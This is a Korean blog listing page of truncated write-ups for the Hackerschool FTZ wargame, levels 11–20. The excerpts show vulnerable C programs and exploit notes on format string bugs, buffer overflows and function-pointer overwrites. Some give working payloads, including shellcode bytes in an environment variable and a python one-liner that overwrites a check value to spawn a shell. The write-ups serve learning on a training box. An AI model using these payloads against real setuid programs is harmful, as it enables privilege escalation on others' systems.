목록War game/해커 스쿨 FTZ (20)
둘둘리둘둘리둘둘리둘둘리둘둘리둘
#include main(int argc,char **argv){ char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh);} 80byte의 bleh의 공간에 stdin으로 79byte를 입력받아 출력한다. 오버플로우 취약점은 찾을 수 없으니 포맷스트링 버그를 사용해 문제를 풀어야 한다. -포맷스트링 버그란?printf(bleh);처럼 인자 하나만 들어가면서 그 인자를 조작할 수 있을때, 그 인자에 %d,%s등이 들어가면 printf동작시 인자를 포맷 갯수만큼 인식하고 ebp+8(첫번째 인자 자리)에서 부터 4씩 높은주소의 [그림 1]과 같이 값을 출력한다.[그림 1] 여기서 %n을 만나면 다음 인자값이 들어갈 자리가 가진 주소에 여태..
main(){ char buf[20]; gets(buf); printf("%s\n",buf);} 여태까지의 문제와 달리 setreuid를 main에서 호출하지 않는다. 그말은 직접 setreuid를 실행해 준 후 쉘을 실행시켜야 level20의 권한을 얻을 수 있다는 것 이다. 단순하게 생각해서 여태까지 풀어왔던 방법에서 쉘 코드에 setreuid(3100,3100)만 추가해 주고 환경변수에 쉘 코드 등록 후 리턴 주소를 환경변수로 덮어주면 된다. 물론 쉘코드를 짜야하는 번거로움이 있다. --풀이--[level19@ftz tmp]$ export sh=`python -c 'print "\x90"*2000+"\x31\xc0\x89\xc1\x89\xc3\x66\xb9\x1c\x0c\x66\xbb\x1c\x0c..
#include #include #include #include void shellout(void);int main(){ char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); //fdset 초기화 FD_SET(STDIN_FILENO,&fds); //fdset중 stdin에 해당하는 비트를 1로 세트 if(select(FD_SETSIZ..
#include void printit() { printf("Hello there!\n");} main(){ int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call();} Level16(http://dool2ly.tistory.com/23)과 다른점은 shell을 띄워주는 함수가 없다는것 뿐이다.Level16과 마찬가지로 변수 call의 내용이 printit의 주소가 아니라 쉘 코드의 시작 주소를 넣어주면 되겠다.고맙게도 setreuid가 있으니 쉘 코드는 단순히 shell만 실행시켜주면 된다. Level11(http://dool2ly.tistory.com/18)에서 부터 해왔듯 환경변수 s..
#include void shell() { setreuid(3097,3097); system("/bin/sh");} void printit() { printf("Hello there!\n");} main(){ int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call();} shell함수와 printit함수가 정의되어 있고아래와 같이 동작한다.1. 변수 call에 printit함수의 주소값을 넣는다. 2. 크기 20byte인 buf에 stdin으로부터 최대 48byte까지 입력받는다.3. call을 호출한다.call을 호출할때 printit이 아니라 shell이 호출되게 하면 된다. 함수 printit의 주소와 shell의 주소는 ..
#include main(){ int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); }} Level14에서 한번 꼬았다.. check가 가진값이 아니라 check가 가리키는곳의 값이 0xdeadbeef인지 검사후 맞으면 쉘을 띄워준다. 풀이는 level14(http://dool2ly.tistory.com/21)와 다를게 없지만, check에 0xdeadbeef를 넣어줄게 아니라 0xdeadbeef를 가진 주소를 넣어줘야 한다. 0xdeadbeef는 이미 main함수에 하드코딩 돼있으니 그 값을 가져다 쓰면 되겠다. 페이로드 : [ dummy..
buf의 공간은 20byte인데 fgets로 stdin에서 최대 45byte까지 입력받은 뒤 check의 값이 0xdeadbeef인지 확인하고 맞으면 쉘을 띄워준다. [그림 1] [그림 1]을 보면 check가 ebp-16, buf가 ebp-60이니까 60-16=44Byte를 더미로 주고 그 후 부터 0xdeadbeef를 체우면 메인함수를 정상종료 시킬 수 있다. --풀이--[level14@ftz tmp]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|../attackmeiduid=3095(level15) gid=3094(level14) groups=3094(level14)my-pass Level15 Password is "----- ----".
소스로 봐선 스택구조가 [그림 1]로 추측되는데 Canary(또는 Security Cookie)처럼 Return address변조를 위해서 어쩔 수 없이 덮어 씌워지는 변수 i의 영역의 변화 유무를 검사하여 메인 함수가 종료되기전에 자기 자신에 SIGSEGV(Segmentation Violation) 신호를 보내 종료시킨다. buf[1024] i[4] SFP[4] RET [그림 1] [그림 2] GDB로 까보면 내부는 [그림 2]와 같다 에서 esp를 ebp-1048까지 키우고 ebp-12와 0x1234567을 비교하는걸로 봐선 buf+더미의 크기가 1048-12= 1036byte로 알 수 있다. 변수 i+더미의 크기는.. 아래와 같이 12byte로 확인된다 그러므로 페이로드는 아래와 같이 짜면 되겠다...
Level11문제랑 또옥같이 풀어도 된다, 차이점은 입력값을 메인함수의 argument에서 얻느냐 Stdin에서 얻느냐 차이.. 물론 gets와 strcpy의 동작방식은 다르겠지만 목적은 버퍼 오버플로우니까.. level11 Write up >> http://dool2ly.tistory.com/18 --풀이--환경변수 주소 획득(환경변수 sh에는 Level11에서 썼던 NOP*2000+쉘코드가 여전히 들어있다) 실행페이로드 : [ 더미*268 | 0xbffff71a ]
setreuid도 되있겠다 단순히 쉘만 띄우면 되겠다. 쉘코드를 str에 넣고 str의 주소로 리턴해도 되겠지만 시도해 본 결과 스택이 랜덤하게 바뀐다(ASLR),RTL을 쓰거나 쉘코드가 담긴 변수를 환경변수로 등록하고 환경변수의 주소로 리턴하거나, 메인함수의 인자2에 넣고 디버깅하여 인자2의 주소를 찾아도 된다. 쉘코드는 exploit-db.com에서 얻거나 검색을 활용하여 직접 만들면 된다. ※원본파일은 다른유저로 setuid가 걸려있기 때문에 디버깅할 수 없다, ~/tmp 디렉토리로 복사해서 분석하고 원본파일에 공격해야한다 --풀이--환경변수(NOP+쉘코드)등록후 확인 환경변수의 주소 획득 main함수의 리턴주소를 환경변수 주소로 오버라이트(페이로드를 [ 더미268개 | 환경변수주소 ]로 해도되는데..